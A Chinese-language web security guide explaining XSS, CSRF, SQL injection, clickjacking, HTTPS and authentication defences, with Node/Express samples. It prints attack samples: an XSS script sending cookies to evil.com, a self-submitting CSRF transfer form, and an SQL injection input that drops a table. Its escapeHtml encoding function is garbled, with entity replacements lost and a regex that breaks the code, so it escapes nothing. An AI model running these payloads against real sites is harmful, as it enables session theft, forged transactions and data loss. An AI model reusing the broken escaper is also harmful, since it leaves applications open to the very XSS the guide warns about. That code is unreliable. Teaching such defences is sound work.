Web安全防护指南
安全是Web应用的生命线。一个安全漏洞可能导致用户数据泄露、财产损失,甚至企业倒闭。然而,安全往往被开发者忽视,直到问题发生才追悔莫及。在这篇文章中,我将全面介绍常见的Web安全威胁及其防护策略,帮助你构建更加安全的Web应用。
XSS跨站脚本攻击
XSS(Cross-Site Scripting)是最常见的Web安全漏洞,攻击者通过注入恶意脚本到网页中,窃取用户信息或执行恶意操作。
反射型XSS
恶意脚本通过URL参数传递,服务器将其反射回页面:
/* 危险的URL */
https://example.com/search?q=<script>alert('XSS')</script>
/* 后端直接输出 */
app.get('/search', (req, res) => {
res.send(`搜索结果: ${req.query.q}`); // 危险!
});
存储型XSS
恶意脚本被存储在服务器(如数据库),每次访问都会执行:
/* 攻击者在评论中注入 */
评论内容: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
DOM型XSS
恶意脚本通过JavaScript动态插入DOM:
/* 危险的代码 */
document.getElementById('output').innerHTML = location.hash.slice(1);
/* 安全的代码 */
document.getElementById('output').textContent = location.hash.slice(1);
XSS防护
- 输入验证:对所有用户输入进行验证和过滤
- 输出编码:根据上下文对输出进行HTML、JavaScript、URL编码
- 使用安全API:使用textContent代替innerHTML
- CSP:设置Content-Security-Policy头
/* 输出编码函数 */
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(//g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
/* CSP头 */
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'
CSRF跨站请求伪造
CSRF(Cross-Site Request Forgery)攻击者诱导用户在已登录状态下执行非预期的操作。
攻击示例
/* 攻击者网站上的恶意代码 */
<img src="https://bank.com/transfer?to=attacker&amount=10000" style="display:none">
/* 或自动提交表单 */
<form action="https://bank.com/transfer" method="POST" id="steal">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('steal').submit();</script>
CSRF防护
- CSRF Token:为每个表单生成唯一令牌
- SameSite Cookie:设置Cookie的SameSite属性
- 验证Referer:检查请求来源
- 二次验证:敏感操作要求输入密码或验证码
/* 后端生成CSRF Token */
app.get('/form', (req, res) => {
const csrfToken = generateToken();
req.session.csrfToken = csrfToken;
res.render('form', { csrfToken });
});
/* 验证Token */
app.post('/submit', (req, res) => {
if (req.body.csrfToken !== req.session.csrfToken) {
return res.status(403).send('CSRF验证失败');
}
// 处理请求
});
/* SameSite Cookie */
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly
SQL注入
SQL注入攻击者通过构造恶意输入,执行非预期的SQL语句。
攻击示例
/* 危险的查询 */
const query = `SELECT * FROM users WHERE id = ${userId}`;
/* 攻击输入 */
userId = "1 OR 1=1; DROP TABLE users;--"
/* 执行的SQL */
SELECT * FROM users WHERE id = 1 OR 1=1; DROP TABLE users;--
SQL注入防护
/* 使用参数化查询 */
const query = 'SELECT * FROM users WHERE id = ?';
db.query(query, [userId], (err, results) => {
// 安全
});
/* 使用ORM */
const user = await User.findByPk(userId);
/* 输入验证 */
if (!/^\d+$/.test(userId)) {
throw new Error('Invalid user ID');
}
点击劫持
攻击者将目标网站嵌入iframe,覆盖透明层,诱导用户点击隐藏的按钮。
防护措施
/* X-Frame-Options头 */
X-Frame-Options: DENY
/* 或 */
X-Frame-Options: SAMEORIGIN
/* CSP frame-ancestors */
Content-Security-Policy: frame-ancestors 'self'
/* JavaScript防御 */
if (top !== self) {
top.location = self.location;
}
HTTPS与传输安全
- 强制HTTPS:所有请求重定向到HTTPS
- HSTS:HTTP Strict Transport Security
- 安全Cookie:设置Secure标志
- 证书管理:使用可信CA证书,定期更新
/* HSTS头 */
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
/* 安全Cookie */
Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict
身份认证安全
密码存储
/* 使用bcrypt加密密码 */
const bcrypt = require('bcrypt');
const saltRounds = 12;
// 存储
const hash = await bcrypt.hash(password, saltRounds);
// 验证
const match = await bcrypt.compare(inputPassword, hash);
会话管理
- 使用安全的会话ID(随机、足够长)
- 设置合理的过期时间
- 登出后销毁会话
- 检测异常登录(IP、设备变化)
多因素认证
敏感操作要求额外验证:短信验证码、TOTP、硬件密钥等。
API安全
速率限制
const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15分钟
max: 100, // 每IP最多100个请求
message: '请求过于频繁'
});
app.use('/api/', limiter);
输入验证
const { body, validationResult } = require('express-validator');
app.post('/api/users',
body('email').isEmail().normalizeEmail(),
body('password').isLength({ min: 8 }),
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// 处理请求
}
);
安全头配置
/* 使用Helmet设置安全头 */
const helmet = require('helmet');
app.use(helmet());
/* 等同于设置以下头 */
X-DNS-Prefetch-Control: off
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: no-referrer
X-XSS-Protection: 0
总结
Web安全是一个系统工程,需要在开发的每个环节保持警惕。记住安全开发的黄金法则:
- 永不信任用户输入:验证、过滤、编码
- 最小权限原则:只给必要的权限
- 纵深防御:多层防护,不依赖单一措施
- 安全默认:默认安全,需要时才开放
- 定期审计:代码审查、渗透测试、依赖更新
安全是一场没有终点的赛跑,保持学习,与时俱进,才能守护好你的Web应用。